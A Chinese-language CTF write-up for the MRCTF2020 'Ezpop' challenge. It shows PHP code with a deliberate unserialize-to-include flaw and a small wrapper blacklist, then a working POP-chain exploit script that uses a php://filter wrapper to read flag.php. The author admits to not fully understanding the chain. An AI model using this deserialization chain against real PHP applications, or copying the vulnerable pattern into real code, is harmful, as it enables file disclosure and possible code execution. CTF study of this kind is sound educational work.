[MRCTF2020]Ezpop
2020.10.14
最近开始努力提高代码能力
题目代码
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
分析pop链
从目标逆向分析触发条件
结论
根据以上分析,可以得出我们要构造一个Show类,这个类中的属性source也是一个show类,source下的属性str是一个Test类,且Test类中的p是一个Modifier类
exp
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source=$file;
}
}
class Test{
public $p;
public function __construct(){
$this->p=new Modifier();
}
}
$s=new Show("");
$s->str=new Test();
$a=new Show($s);
echo urlencode(serialize($a));//为了便于在url中传输,我们将结果编码成url形式
base64解码后
依然存在的疑问
exp中的类是对比好几个师傅的wp试出来的,但是为什么要把str=new Test()放在show类中source下,为什么source属性依然要是show类不是很清楚